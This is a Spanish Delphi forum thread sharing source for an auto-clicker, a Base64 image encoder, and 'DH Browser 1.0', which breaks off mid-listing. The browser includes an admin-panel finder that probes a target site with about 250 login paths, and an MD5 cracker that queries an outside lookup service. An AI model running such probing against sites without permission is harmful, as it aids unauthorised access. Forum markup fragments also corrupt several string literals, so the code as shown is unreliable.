    146.     not(txt_Y_Select.Text = '') and not(txtSleep.Text = '') then
    147.   begin
    148.     tmClicker.Interval := StrToInt(txtSleep.Text) * 1000;
    149.     tmClicker.Enabled := True;
    150.     status.Panels[0].Text := '</li><li type="square"> Working ...';[/li][/list]
    151.     FormHome.Update;
    152.     notificar.BalloonTitle := 'DH Auto Clicker';
    153.     notificar.BalloonHint := 'Clicker Started';
    154.     notificar.ShowBalloonHint;
    155.   end
    156.   else
    157.   begin
    158.     message_box('DH Auto Clicker 0.6', 'Complete the options', 'Warning');
    159.   end;
    160. end;
    161.  
    162. procedure TFormHome.desactivar_clicker();
    163. begin
    164.   tmClicker.Enabled := False;
    165.   status.Panels[0].Text := '</li><li type="square"> Stopped';[/li][/list]
    166.   FormHome.Update;
    167.   notificar.BalloonTitle := 'DH Auto Clicker';
    168.   notificar.BalloonHint := 'Clicker Stopped';
    169.   notificar.ShowBalloonHint;
    170. end;
    171.  
    172. procedure TFormHome.btnStartClick(Sender: TObject);
    173. begin
    174.   iniciar_clicker();
    175. end;
    176.  
    177. procedure TFormHome.btnStopClick(Sender: TObject);
    178. begin
    179.   desactivar_clicker();
    180. end;
    181.  
    182. procedure TFormHome.capturar_posicion_mouse();
    183. begin
    184.   txt_X_Select.Text := txt_X_Now.Text;
    185.   txt_Y_Select.Text := txt_Y_Now.Text;
    186.   status.Panels[0].Text := '</li><li type="square"> Position updated';[/li][/list]
    187.   FormHome.Update;
    188.   notificar.BalloonTitle := 'DH Auto Clicker';
    189.   notificar.BalloonHint := 'Position updated';
    190.   notificar.ShowBalloonHint;
    191. end;
    192.  
    193. procedure TFormHome.notificarClick(Sender: TObject);
    194. begin
    195.   Show();
    196.   WindowState := wsNormal;
    197.   Application.BringToFront();
    198. end;
    199.  
    200. procedure TFormHome.btnGetPositionClick(Sender: TObject);
    201. begin
    202.   capturar_posicion_mouse();
    203. end;
    204.  
    205. procedure TFormHome.tmGetMousePositionTimer(Sender: TObject);
    206. var
    207.   ubicacion: tPoint;
    208. begin
    209.   ubicacion := Mouse.CursorPos;
    210.   txt_X_Now.Text := IntToStr(ubicacion.X);
    211.   txt_Y_Now.Text := IntToStr(ubicacion.Y);
    212. end;
    213.  
    214. procedure TFormHome.tmHookKeysTimer(Sender: TObject);
    215. var
    216.   i: integer;
    217.   re: Longint;
    218. begin
    219.   for i := 119 to 124 do
    220.   begin
    221.     re := GetAsyncKeyState(i);
    222.     If re = -32767 then
    223.     Begin
    224.       if (i = 120) then
    225.       begin
    226.         capturar_posicion_mouse();
    227.       end
    228.       else if (i = 122) then
    229.       begin
    230.         iniciar_clicker();
    231.       end
    232.       else if (i = 123) then
    233.       begin
    234.         desactivar_clicker();
    235.       end
    236.       else
    237.       begin
    238.         // ?
    239.       end;
    240.     End;
    241.   End;
    242. end;
    243.  
    244. procedure TFormHome.tmClickerTimer(Sender: TObject);
    245. var
    246.   tipo: integer;
    247.   nombre_tipo: string;
    248.   X: integer;
    249.   Y: integer;
    250.   time_sleep: integer;
    251. begin
    252.  
    253.   tipo := cmbType.ItemIndex;
    254.   nombre_tipo := '';
    255.  
    256.   if (tipo = 0) then
    257.   begin
    258.     nombre_tipo := 'left';
    259.   end
    260.   else if (tipo = 1) then
    261.   begin
    262.     nombre_tipo := 'middle';
    263.   end
    264.   else if (tipo = 2) then
    265.   begin
    266.     nombre_tipo := 'right';
    267.   end
    268.   else if (tipo = 3) then
    269.   begin
    270.     nombre_tipo := 'double';
    271.   end
    272.   else
    273.   begin
    274.     nombre_tipo := 'left';
    275.   end;
    276.  
    277.   X := 0;
    278.   Y := 0;
    279.  
    280.   if (cbUseRandomClicks.Checked) then
    281.   begin
    282.     X := RandomRange(1, 2000);
    283.     Y := RandomRange(1, 1000);
    284.   end
    285.   else
    286.   begin
    287.     X := StrToInt(txt_X_Select.Text);
    288.     Y := StrToInt(txt_Y_Select.Text);
    289.   end;
    290.  
    291.   time_sleep := StrToInt(txtSleep.Text) * 1000;
    292.  
    293.   SetCursorPos(X, Y);
    294.  
    295.   mouse_click(nombre_tipo);
    296.  
    297. end;
    298.  
    299. end.
    300.  
    301. // The End ?
    302.  

    Si quieren bajar el programa y el proyecto con el codigo fuente lo pueden hacer desde aca :

    You are not allowed to view links. Register or Login.

    Eso seria todo.

29
Delphi / [Delphi] Base64 Image Encoder 0.2
« en: Septiembre 17, 2016, 06:15:09 pm »
Un programa en Delphi para codificar cualquier imagen a Base64 para usar en HTML , se puede copiar el codigo en el portapapeles o guardar en un archivo desde el programa mismo.

Una imagen :



El codigo :

Código: Delphi
  1. // Base64 Image Encoder 0.2
  2. // (C) Doddy Hackman 2016
  3.  
  4. unit encoder;
  5.  
  6. interface
  7.  
  8. uses
  9.   Winapi.Windows, Winapi.Messages, System.SysUtils, System.Variants,
  10.   System.Classes, Vcl.Graphics,
  11.   Vcl.Forms, Vcl.Dialogs, Vcl.StdCtrls,
  12.   Vcl.Menus, Vcl.Controls, Vcl.Styles.Utils.ComCtrls, Vcl.Styles.Utils.Menus,
  13.   Vcl.Styles.Utils.SysStyleHook,
  14.   Vcl.Styles.Utils.SysControls, Vcl.Styles.Utils.Forms,
  15.   Vcl.Styles.Utils.StdCtrls, Vcl.Styles.Utils.ScreenTips, IdCoderMIME, ShellApi,
  16.   Vcl.ImgList, Vcl.ExtCtrls, Vcl.Imaging.pngimage;
  17.  
  18. type
  19.   TFormHome = class(TForm)
  20.     gbEnterFilename: TGroupBox;
  21.     txtFilename: TEdit;
  22.     btnLoad: TButton;
  23.     gbOutput: TGroupBox;
  24.     mmOutput: TMemo;
  25.     btnEncode: TButton;
  26.     pmOptions: TPopupMenu;
  27.     copy: TMenuItem;
  28.     save: TMenuItem;
  29.     odLoad: TOpenDialog;
  30.     clear: TMenuItem;
  31.     sdSave: TSaveDialog;
  32.     ilIconos: TImageList;
  33.     imgLogo: TImage;
  34.     procedure btnEncodeClick(Sender: TObject);
  35.     procedure btnLoadClick(Sender: TObject);
  36.     procedure FormCreate(Sender: TObject);
  37.     procedure clearClick(Sender: TObject);
  38.     procedure copyClick(Sender: TObject);
  39.     procedure saveClick(Sender: TObject);
  40.   private
  41.     procedure DragDropFile(var Msg: TMessage); message WM_DROPFILES;
  42.   public
  43.     { Public declarations }
  44.   end;
  45.  
  46. var
  47.   FormHome: TFormHome;
  48.  
  49. implementation
  50.  
  51. {$R *.dfm}
  52. // Functions
  53.  
  54. function message_box(title, message_text, type_message: string): string;
  55. begin
  56.   if not(title = '') and not(message_text = '') and not(type_message = '') then
  57.   begin
  58.     try
  59.       begin
  60.         if (type_message = 'Information') then
  61.         begin
  62.           MessageBox(FormHome.Handle, PChar(message_text), PChar(title),
  63.             MB_ICONINFORMATION);
  64.         end
  65.         else if (type_message = 'Warning') then
  66.         begin
  67.           MessageBox(FormHome.Handle, PChar(message_text), PChar(title),
  68.             MB_ICONWARNING);
  69.         end
  70.         else if (type_message = 'Question') then
  71.         begin
  72.           MessageBox(FormHome.Handle, PChar(message_text), PChar(title),
  73.             MB_ICONQUESTION);
  74.         end
  75.         else if (type_message = 'Error') then
  76.         begin
  77.           MessageBox(FormHome.Handle, PChar(message_text), PChar(title),
  78.             MB_ICONERROR);
  79.         end
  80.         else
  81.         begin
  82.           MessageBox(FormHome.Handle, PChar(message_text), PChar(title),
  83.             MB_ICONINFORMATION);
  84.         end;
  85.         Result := '<ul class="bbc_list"><li type="square"> MessageBox : OK';[/li][/list]
  86.       end;
  87.     except
  88.       begin
  89.         Result := '[-] Error';
  90.       end;
  91.     end;
  92.   end
  93.   else
  94.   begin
  95.     Result := '[-] Error';
  96.   end;
  97. end;
  98.  
  99. // Function to DragDrop
  100.  
  101. // Based in : [url]http://www.clubdelphi.com/foros/showthread.php?t=85665[/url]
  102. // Thanks to ecfisa
  103.  
  104. var
  105.   bypass_window: function(Msg: Cardinal; dwFlag: Word): BOOL; stdcall;
  106.  
  107. procedure TFormHome.DragDropFile(var Msg: TMessage);
  108. var
  109.   nombre_archivo, extension: string;
  110.   limite, number: integer;
  111.   path: array [0 .. MAX_COMPUTERNAME_LENGTH + MAX_PATH] of char;
  112. begin
  113.   limite := DragQueryFile(Msg.WParam, $FFFFFFFF, path, 255) - 1;
  114.   if (Win32MajorVersion = 6) and (Win32MinorVersion > 0) then
  115.     for number := 0 to limite do
  116.     begin
  117.       bypass_window(number, 1);
  118.     end;
  119.   for number := 0 to limite do
  120.   begin
  121.     DragQueryFile(Msg.WParam, number, path, 255);
  122.  
  123.     //
  124.  
  125.     if (FileExists(path)) then
  126.     begin
  127.       nombre_archivo := ExtractFilename(path);
  128.       extension := ExtractFileExt(path);
  129.       extension := StringReplace(extension, '.', '',
  130.         [rfReplaceAll, rfIgnoreCase]);
  131.       if (extension = 'jpg') or (extension = 'png') or (extension = 'bmp') then
  132.       begin
  133.         txtFilename.Text := path;
  134.         message_box('Base64 Image Encoder 0.2', 'Image loaded', 'Information');
  135.       end
  136.       else
  137.       begin
  138.         message_box('Base64 Image Encoder 0.2', 'The image is not valid',
  139.           'Warning');
  140.       end;
  141.     end;
  142.  
  143.     //
  144.  
  145.   end;
  146.   DragFinish(Msg.WParam);
  147. end;
  148.  
  149. function base64_encodefile(filename: String): String;
  150. var
  151.   stream: TFileStream;
  152.   base64: TIdEncoderMIME;
  153.   output: string;
  154. begin
  155.   if (FileExists(filename)) then
  156.   begin
  157.     try
  158.       begin
  159.         base64 := TIdEncoderMIME.Create(nil);
  160.         stream := TFileStream.Create(filename, fmOpenRead);
  161.         output := TIdEncoderMIME.EncodeStream(stream);
  162.         stream.Free;
  163.         base64.Free;
  164.         if not(output = '') then
  165.         begin
  166.           Result := output;
  167.         end
  168.         else
  169.         begin
  170.           Result := 'Error';
  171.         end;
  172.       end;
  173.     except
  174.       begin
  175.         Result := 'Error';
  176.       end;
  177.     end;
  178.   end
  179.   else
  180.   begin
  181.     Result := 'Error';
  182.   end;
  183. end;
  184.  
  185. function savefile(archivo, texto: string): BOOL;
  186. var
  187.   open_file: TextFile;
  188. begin
  189.   try
  190.     begin
  191.       AssignFile(open_file, archivo);
  192.       FileMode := fmOpenWrite;
  193.  
  194.       if FileExists(archivo) then
  195.       begin
  196.         Append(open_file);
  197.       end
  198.       else
  199.       begin
  200.         Rewrite(open_file);
  201.       end;
  202.       Write(open_file, texto);
  203.       CloseFile(open_file);
  204.       Result := True;
  205.     end;
  206.   except
  207.     Result := False;
  208.   end;
  209. end;
  210.  
  211. //
  212.  
  213. procedure TFormHome.btnEncodeClick(Sender: TObject);
  214. var
  215.   archivo: string;
  216.   nombre_archivo: string;
  217.   extension: string;
  218.   img_encoded: string;
  219.   html_generate: string;
  220. begin
  221.  
  222.   archivo := txtFilename.Text;
  223.   if (FileExists(archivo)) then
  224.   begin
  225.     nombre_archivo := ExtractFilename(archivo);
  226.     extension := ExtractFileExt(archivo);
  227.     extension := StringReplace(extension, '.', '',
  228.       [rfReplaceAll, rfIgnoreCase]);
  229.     nombre_archivo := StringReplace(nombre_archivo, '.' + extension, '',
  230.       [rfReplaceAll, rfIgnoreCase]);
  231.     nombre_archivo := StringReplace(nombre_archivo, ' ', '',
  232.       [rfReplaceAll, rfIgnoreCase]);
  233.     if (extension = 'jpg') or (extension = 'png') or (extension = 'bmp') then
  234.     begin
  235.       try
  236.         begin
  237.           img_encoded := base64_encodefile(archivo);
  238.           if not(img_encoded = '') then
  239.           begin
  240.             html_generate := '<img title="' + nombre_archivo +
  241.               '" src="data:image/' + extension + ';base64,' +
  242.               img_encoded + '" />';
  243.  
  244.             mmOutput.Lines.Add(html_generate);
  245.             mmOutput.Lines.Add(sLineBreak);
  246.  
  247.             message_box('Base64 Image Encoder 0.2', 'Done', 'Information');
  248.           end
  249.           else
  250.           begin
  251.             message_box('Base64 Image Encoder 0.2',
  252.               'An error has occurred in the program', 'Error');
  253.           end;
  254.         end;
  255.       except
  256.         begin
  257.           message_box('Base64 Image Encoder 0.2',
  258.             'An error has occurred in the program', 'Error');
  259.         end;
  260.       end;
  261.     end
  262.     else
  263.     begin
  264.       message_box('Base64 Image Encoder 0.2',
  265.         'The file extension is not allowed', 'Warning');
  266.     end;
  267.   end
  268.   else
  269.   begin
  270.     message_box('Base64 Image Encoder 0.2', 'File not found', 'Warning');
  271.   end;
  272. end;
  273.  
  274. procedure TFormHome.btnLoadClick(Sender: TObject);
  275. begin
  276.   if odLoad.Execute then
  277.   begin
  278.     txtFilename.Text := odLoad.filename;
  279.   end;
  280. end;
  281.  
  282. procedure TFormHome.clearClick(Sender: TObject);
  283. begin
  284.   mmOutput.clear;
  285.   message_box('Base64 Image Encoder 0.2', 'Output cleaned', 'Information');
  286. end;
  287.  
  288. procedure TFormHome.copyClick(Sender: TObject);
  289. begin
  290.   mmOutput.SelectAll;
  291.   mmOutput.CopyToClipboard;
  292.   message_box('Base64 Image Encoder 0.2', 'Output copied to the clipboard',
  293.     'Information');
  294. end;
  295.  
  296. procedure TFormHome.FormCreate(Sender: TObject);
  297. begin
  298.  
  299.   //
  300.  
  301.   if (Win32MajorVersion = 6) and (Win32MinorVersion > 0) then
  302.   begin
  303.     @bypass_window := GetProcAddress(LoadLibrary('user32.dll'),
  304.       'ChangeWindowMessageFilter');
  305.     bypass_window(WM_DROPFILES, 1);
  306.     bypass_window(WM_COPYDATA, 1);
  307.     bypass_window($0049, 1);
  308.   end;
  309.   DragAcceptFiles(Handle, True);
  310.  
  311.   //
  312.  
  313.   UseLatestCommonDialogs := False;
  314.   odLoad.InitialDir := GetCurrentDir;
  315.   odLoad.Filter :=
  316.     'JPG files (*.jpg)|*.JPG|PNG Files (*.png)|*.PNG|BMP File (*.bmp)|*.BMP';
  317. end;
  318.  
  319. procedure TFormHome.saveClick(Sender: TObject);
  320. var
  321.   file_output, output, html: string;
  322. begin
  323.   try
  324.     begin
  325.       sdSave.InitialDir := GetCurrentDir;
  326.       sdSave.Filter := 'HTML file|*.html';
  327.       if sdSave.Execute then
  328.       begin
  329.         output := mmOutput.Text;
  330.         file_output := sdSave.filename;
  331.         if not(file_output = '') then
  332.         begin
  333.           if not(output = '') then
  334.           begin
  335.             output := StringReplace(output, sLineBreak, sLineBreak + '</br>',
  336.               [rfReplaceAll, rfIgnoreCase]);
  337.             html := '<html>' + sLineBreak + '<body>' + output + sLineBreak +
  338.               '</body>' + sLineBreak + '</html>';
  339.             if (FileExists(file_output)) then
  340.             begin
  341.               DeleteFile(file_output);
  342.             end;
  343.             savefile(file_output, html);
  344.             if (FileExists(file_output)) then
  345.             begin
  346.               ShellExecute(0, nil, PChar(file_output), nil, nil, SW_SHOWNORMAL);
  347.             end;
  348.             message_box('Base64 Image Encoder 0.2', 'File created',
  349.               'Information');
  350.           end
  351.           else
  352.           begin
  353.             message_box('Base64 Image Encoder 0.2', 'Output is empty',
  354.               'Warning');
  355.           end;
  356.         end
  357.         else
  358.         begin
  359.           message_box('Base64 Image Encoder 0.2', 'File not found', 'Warning');
  360.         end;
  361.       end;
  362.     end;
  363.   except
  364.     begin
  365.       message_box('Base64 Image Encoder 0.2',
  366.         'An error has occurred in the program', 'Warning');
  367.     end;
  368.   end;
  369. end;
  370.  
  371. end.
  372.  
  373. // The End ?
  374.  

Si quieren bajar el programa lo pueden hacer de aca :

You are not allowed to view links. Register or Login.

Eso seria todo.

30
Delphi / [Delphi] DH Browser 1.0
« en: Septiembre 04, 2016, 09:34:41 pm »
Un navegador web en Delphi con las siguientes opciones :

  • Podes ver el codigo fuente de la pagina cargado[/li]
  • Se puede modificar los headers para HTTP Header Injection[/li]
  • Se puede buscar palabras en el codigo fuente[/li]
  • SQLI Scanner incorporado[/li]
  • Admin Finder incorporado[/li]
  • Crack MD5 incorporado[/li][/list]

    Una imagen :



    El codigo :

    Código: Delphi
    1. // DH Browser 1.0
    2. // (C) Doddy Hackman 2016
    3. // Credits :
    4. // Navigate based on : [url]http://www.swissdelphicenter.ch/torry/showcode.php?id=2242[/url]
    5. // FindText based on : [url]http://delphi.cjcsoft.net/viewthread.php?tid=47143[/url]
    6. // Get HTML based on : [url]http://delphi.about.com/od/adptips2005/qt/webbrowserhtml.htm[/url]
    7.  
    8. unit dh;
    9.  
    10. interface
    11.  
    12. uses
    13.   Winapi.Windows, Winapi.Messages, System.SysUtils, System.Variants,
    14.   System.Classes, Vcl.Graphics,
    15.   Vcl.Controls, Vcl.Forms, Vcl.Dialogs, Vcl.StdCtrls, Vcl.OleCtrls, SHDocVw,
    16.   Vcl.Imaging.pngimage, Vcl.ExtCtrls, Vcl.ComCtrls, mshtml, Vcl.Menus,
    17.   IdBaseComponent, IdComponent, IdTCPConnection, IdTCPClient, IdHTTP, PerlRegEx,
    18.   IdMultipartFormData, Vcl.ImgList, Vcl.Styles.Utils.ComCtrls,
    19.   Vcl.Styles.Utils.Menus,
    20.   Vcl.Styles.Utils.SysStyleHook,
    21.   Vcl.Styles.Utils.SysControls, Vcl.Styles.Utils.Forms,
    22.   Vcl.Styles.Utils.StdCtrls, Vcl.Styles.Utils.ScreenTips;
    23.  
    24. type
    25.   TFormHome = class(TForm)
    26.     gbEnterPage: TGroupBox;
    27.     btnEnter: TButton;
    28.     gbHeaders: TGroupBox;
    29.     mmHeaders: TMemo;
    30.     GroupBox3: TGroupBox;
    31.     GroupBox4: TGroupBox;
    32.     gbAbout: TGroupBox;
    33.     txtURL: TEdit;
    34.     imgLogo: TImage;
    35.     imgAbout: TImage;
    36.     btnSQLI_Scanner: TButton;
    37.     btnAdminFinder: TButton;
    38.     btnCrack_MD5: TButton;
    39.     btnSearch_for_text: TButton;
    40.     cbUse_This_Headers: TCheckBox;
    41.     browser: TWebBrowser;
    42.     status: TStatusBar;
    43.     progreso: TProgressBar;
    44.     mmSource: TMemo;
    45.     menu: TPopupMenu;
    46.     ShowSourceHTML1: TMenuItem;
    47.     ShowBrowser1: TMenuItem;
    48.     nave: TIdHTTP;
    49.     buscar_codigo: TFindDialog;
    50.     ilIconos: TImageList;
    51.     lblAbout: TLabel;
    52.     procedure btnEnterClick(Sender: TObject);
    53.     procedure browserDownloadComplete(Sender: TObject);
    54.     procedure browserProgressChange(ASender: TObject;
    55.       Progress, ProgressMax: Integer);
    56.     procedure ShowSourceHTML1Click(Sender: TObject);
    57.     procedure ShowBrowser1Click(Sender: TObject);
    58.     procedure btnSQLI_ScannerClick(Sender: TObject);
    59.     procedure btnAdminFinderClick(Sender: TObject);
    60.     procedure btnCrack_MD5Click(Sender: TObject);
    61.     procedure btnSearch_for_textClick(Sender: TObject);
    62.     procedure buscar_codigoFind(Sender: TObject);
    63.     procedure FormCreate(Sender: TObject);
    64.  
    65.   private
    66.     { Private declarations }
    67.   public
    68.     { Public declarations }
    69.   end;
    70.  
    71. var
    72.   FormHome: TFormHome;
    73.  
    74. implementation
    75.  
    76. {$R *.dfm}
    77.  
    78. procedure TFormHome.btnAdminFinderClick(Sender: TObject);
    79. const
    80.   paginas: array [1 .. 250] of string = ('admin/admin.asp', 'admin/login.asp',
    81.     'admin/index.asp', 'admin/admin.aspx', 'admin/login.aspx',
    82.     'admin/index.aspx', 'admin/webmaster.asp', 'admin/webmaster.aspx',
    83.     'asp/admin/index.asp', 'asp/admin/index.aspx', 'asp/admin/admin.asp',
    84.     'asp/admin/admin.aspx', 'asp/admin/webmaster.asp',
    85.     'asp/admin/webmaster.aspx', 'admin/', 'login.asp', 'login.aspx',
    86.     'admin.asp', 'admin.aspx', 'webmaster.aspx', 'webmaster.asp',
    87.     'login/index.asp', 'login/index.aspx', 'login/login.asp',
    88.     'login/login.aspx', 'login/admin.asp', 'login/admin.aspx',
    89.     'administracion/index.asp', 'administracion/index.aspx',
    90.     'administracion/login.asp', 'administracion/login.aspx',
    91.     'administracion/webmaster.asp', 'administracion/webmaster.aspx',
    92.     'administracion/admin.asp', 'administracion/admin.aspx', 'php/admin/',
    93.     'admin/admin.php', 'admin/index.php', 'admin/login.php', 'admin/system.php',
    94.     'admin/ingresar.php', 'admin/administrador.php', 'admin/default.php',
    95.     'administracion/', 'administracion/index.php', 'administracion/login.php',
    96.     'administracion/ingresar.php', 'administracion/admin.php',
    97.     'administration/', 'administration/index.php', 'administration/login.php',
    98.     'administrator/index.php', 'administrator/login.php',
    99.     'administrator/system.php', 'system/', 'system/login.php', 'admin.php',
    100.     'login.php', 'administrador.php', 'administration.php', 'administrator.php',
    101.     'admin1.html', 'admin1.php', 'admin2.php', 'admin2.html', 'yonetim.php',
    102.     'yonetim.html', 'yonetici.php', 'yonetici.html', 'adm/',
    103.     'admin/account.php', 'admin/account.html', 'admin/index.html',
    104.     'admin/login.html', 'admin/home.php', 'admin/controlpanel.html',
    105.     'admin/controlpanel.php', 'admin.html', 'admin/cp.php', 'admin/cp.html',
    106.     'cp.php', 'cp.html', 'administrator/', 'administrator/index.html',
    107.     'administrator/login.html', 'administrator/account.html',
    108.     'administrator/account.php', 'administrator.html', 'login.html',
    109.     'modelsearch/login.php', 'moderator.php', 'moderator.html',
    110.     'moderator/login.php', 'moderator/login.html', 'moderator/admin.php',
    111.     'moderator/admin.html', 'moderator/', 'account.php', 'account.html',
    112.     'controlpanel/', 'controlpanel.php', 'controlpanel.html',
    113.     'admincontrol.php', 'admincontrol.html', 'adminpanel.php',
    114.     'adminpanel.html', 'admin1.asp', 'admin2.asp', 'yonetim.asp',
    115.     'yonetici.asp', 'admin/account.asp', 'admin/home.asp',
    116.     'admin/controlpanel.asp', 'admin/cp.asp', 'cp.asp',
    117.     'administrator/index.asp', 'administrator/login.asp',
    118.     'administrator/account.asp', 'administrator.asp', 'modelsearch/login.asp',
    119.     'moderator.asp', 'moderator/login.asp', 'moderator/admin.asp',
    120.     'account.asp', 'controlpanel.asp', 'admincontrol.asp', 'adminpanel.asp',
    121.     'fileadmin/', 'fileadmin.php', 'fileadmin.asp', 'fileadmin.html',
    122.     'administration.html', 'sysadmin.php', 'sysadmin.html', 'phpmyadmin/',
    123.     'myadmin/', 'sysadmin.asp', 'sysadmin/', 'ur-admin.asp', 'ur-admin.php',
    124.     'ur-admin.html', 'ur-admin/', 'Server.php', 'Server.html', 'Server.asp',
    125.     'Server/', 'wpadmin/', 'administr8.php', 'administr8.html', 'administr8/',
    126.     'administr8.asp', 'webadmin/', 'webadmin.php', 'webadmin.asp',
    127.     'webadmin.html', 'administratie/', 'admins/', 'admins.php', 'admins.asp',
    128.     'admins.html', 'administrivia/', 'Database_Administration/', 'WebAdmin/',
    129.     'useradmin/', 'sysadmins/', 'admin1/', 'systemadministration/',
    130.     'administrators/', 'pgadmin/', 'directadmin/', 'staradmin/',
    131.     'ServerAdministrator/', 'SysAdmin/', 'administer/', 'LiveUser_Admin/',
    132.     'sysadmin/', 'typo3/', 'panel/', 'cpanel/', 'cPanel/', 'cpanel_file/',
    133.     'platz_login/', 'rcLogin/', 'blogindex/', 'formslogin/', 'autologin/',
    134.     'support_login/', 'meta_login/', 'manuallogin/', 'simpleLogin/',
    135.     'loginflat/', 'utility_login/', 'showlogin/', 'memlogin/', 'members/',
    136.     'login-redirect/', 'sublogin/', 'wplogin/', 'login1/', 'dirlogin/',
    137.     'login_db/', 'xlogin/', 'smblogin/', 'customer_login/', 'UserLogin/',
    138.     'loginus/', 'acct_login/', 'admin_area/', 'bigadmin/', 'project-admins/',
    139.     'phppgadmin/', 'pureadmin/', 'sqladmin/', 'radmind/', 'openvpnadmin/',
    140.     'wizmysqladmin/', 'vadmind/', 'ezsqliteadmin/', 'hpwebjetadmin/',
    141.     'newsadmin/', 'adminpro/', 'Lotus_Domino_Admin/', 'bbadmin/', 'vmailadmin/',
    142.     'Indy_admin/', 'ccp14admin/', 'irc-macadmin/', 'banneradmin/', 'sshadmin/',
    143.     'phpldapadmin/', 'macadmin/', 'administratoraccounts/', 'admin4_account/',
    144.     'admin4_colon/', 'radmind1/', 'SuperAdmin/', 'AdminTools/', 'cmsadmin/',
    145.     'SysAdmin2/', 'globes_admin/', 'cadmins/', 'phpSQLiteAdmin/',
    146.     'navSiteAdmin/', 'server_admin_small/', 'logo_sysadmin/', 'server/',
    147.     'database_administration/', 'power_user/', 'system_administration/',
    148.     'ss_vms_admin_sm/');
    149. var
    150.   i: Integer;
    151.   control: Integer;
    152.  
    153. var
    154.   cabeceras: OLEVariant;
    155.   uno: OLEVariant;
    156.   dos: OLEVariant;
    157.   tres: OLEVariant;
    158.  
    159. begin
    160.  
    161.   if not(txtURL.Text = '') then
    162.   begin
    163.     control := 0;
    164.  
    165.     status.Panels[0].Text := '</li><li type="square"> Finding Panel ....';[/li][/list]
    166.     FormHome.status.Update;
    167.  
    168.     for i := Low(paginas) to High(paginas) do
    169.  
    170.       if (control = 1) then
    171.       begin
    172.         Abort;
    173.       end
    174.       else
    175.       begin
    176.  
    177.         try
    178.  
    179.           status.Panels[0].Text := '</li><li type="square"> Testing : ' + paginas[i];[/li][/list]
    180.           FormHome.status.Update;
    181.  
    182.           nave.Get(txtURL.Text + '/' + paginas[i]);
    183.           if nave.ResponseCode = 200 then
    184.           begin
    185.  
    186.             txtURL.Text := txtURL.Text + '/' + paginas[i];
    187.  
    188.             uno := navNoReadFromCache or navNoWriteToCache;
    189.             dos := '';
    190.             tres := '';
    191.  
    192.             if (cbUse_This_Headers.Checked) then
    193.             begin
    194.               cabeceras := mmHeaders.Text;
    195.               browser.Navigate(txtURL.Text, uno, dos, tres, cabeceras);
    196.             end
    197.             else
    198.             begin
    199.               cabeceras := '';
    200.               browser.Navigate(txtURL.Text, uno, dos, tres, cabeceras);
    201.             end;
    202.             control := 1;
    203.             status.Panels[0].Text := '</li><li type="square"> Panel Found';[/li][/list]
    204.             FormHome.status.Update;
    205.             MessageBox(0, 'Panel Found', 'DH Browser 1.0', MB_ICONINFORMATION);
    206.             Abort;
    207.           end;
    208.         except
    209.           on E: EIdHttpProtocolException do;
    210.           on E: Exception do;
    211.         end;
    212.  
    213.       end;
    214.  
    215.     status.Panels[0].Text := '[-] Panel not found';
    216.     FormHome.status.Update;
    217.     MessageBox(0, 'Panel not found', 'DH Browser 1.0', MB_ICONERROR);
    218.   end
    219.   else
    220.   begin
    221.     MessageBox(0, 'Enter URL', 'DH Browser 1.0', MB_ICONINFORMATION);
    222.   end;
    223.  
    224. end;
    225.  
    226. procedure TFormHome.browserDownloadComplete(Sender: TObject);
    227. var
    228.   buscador: IHTMLElement;
    229. begin
    230.  
    231.   progreso.Position := 0;
    232.  
    233.   status.Panels[0].Text := '</li><li type="square"> Page loaded';[/li][/list]
    234.   FormHome.status.Update;
    235.  
    236.   // Get HTML based on : [url]http://delphi.about.com/od/adptips2005/qt/webbrowserhtml.htm[/url]
    237.  
    238.   begin
    239.  
    240.     try
    241.       begin
    242.  
    243.         mmSource.Clear;
    244.  
    245.         buscador := (browser.Document AS IHTMLDocument2).body;
    246.  
    247.         while not(buscador.parentElement = nil) do
    248.         begin
    249.           buscador := buscador.parentElement;
    250.         end;
    251.         mmSource.Lines.Add(buscador.outerHTML);
    252.       end;
    253.     except
    254.       // ??
    255.     end;
    256.   end;
    257. end;
    258.  
    259. procedure TFormHome.browserProgressChange(ASender: TObject;
    260.   Progress, ProgressMax: Integer);
    261. begin
    262.   progreso.Max := ProgressMax;
    263.   progreso.Position := Progress;
    264. end;
    265.  
    266. procedure TFormHome.buscar_codigoFind(Sender: TObject);
    267. // FindText based on : [url]http://delphi.cjcsoft.net/viewthread.php?tid=47143[/url]
    268.  
    269. var
    270.   aca: PChar;
    271.   aca2: PChar;
    272.   acatoy: PChar;
    273.   acatoy2: Word;
    274.  
    275. begin
    276.  
    277.   With Sender as TFindDialog do
    278.  
    279.   begin
    280.  
    281.     GetMem(aca2, Length(FindText) + 1);
    282.     StrPCopy(aca2, FindText);
    283.  
    284.     acatoy2 := mmSource.GetTextLen + 1;
    285.     GetMem(aca, acatoy2);
    286.  
    287.     mmSource.GetTextBuf(aca, acatoy2);
    288.  
    289.     acatoy := aca + mmSource.SelStart + mmSource.SelLength;
    290.     acatoy := StrPos(acatoy, aca2);
    291.  
    292.     if not(acatoy = NIL) then
    293.     begin
    294.       mmSource.SelStart := acatoy - aca;
    295.       mmSource.SelLength := Length(FindText);
    296.     end;
    297.  
    298.     mmSource.SetFocus;
    299.  
    300.   end;
    301.  
    302. end;
    303.  
    304. procedure TFormHome.btnCrack_MD5Click(Sender: TObject);
    305. var
    306.   md5: string;
    307.   datos: TIdMultiPartFormDataStream;
    308.   code: string;
    309.   regex_check: TPerlRegEx;
    310.   cracked: string;
    311. begin
    312.  
    313.   md5 := InputBox('DH Browser 1.0', 'MD5 : ', '');
    314.  
    315.   if not(md5 = '') then
    316.   begin
    317.     regex_check := TPerlRegEx.Create();
    318.     datos := TIdMultiPartFormDataStream.Create;
    319.     datos.AddFormField('pass', md5);
    320.     datos.AddFormField('option', 'hash2text');
    321.     datos.AddFormField('send', 'Submit');
    322.  
    323.     status.Panels[0].Text := '</li><li type="square"> Cracking ...';[/li][/list]
    324.     FormHome.status.Update;
    325.  
    326.     code := nave.Post('[url]http://md5online.net/index.php[/url]', datos);
    327.  
    328.     regex_check.regex :=
    329.       '<center><p>md5 :<b>(.*?)</b> <br>pass : <b>(.*?)</b></p>';
    330.     regex_check.Subject := code;
    331.  
    332.     if regex_check.Match then
    333.     begin
    334.       cracked := regex_check.Groups[2];
    335.       status.Panels[0].Text := '</li><li type="square"> MD5 Cracked : ' + cracked;[/li][/list]
    336.       FormHome.status.Update;
    337.       MessageBox(0, PChar('MD5 Cracked : ' + cracked), 'DH Browser 1.0',
    338.         MB_ICONINFORMATION);
    339.  
    340.     end
    341.     else
    342.     begin
    343.       status.Panels[0].Text := '[-] Not found';
    344.       FormHome.status.Update;
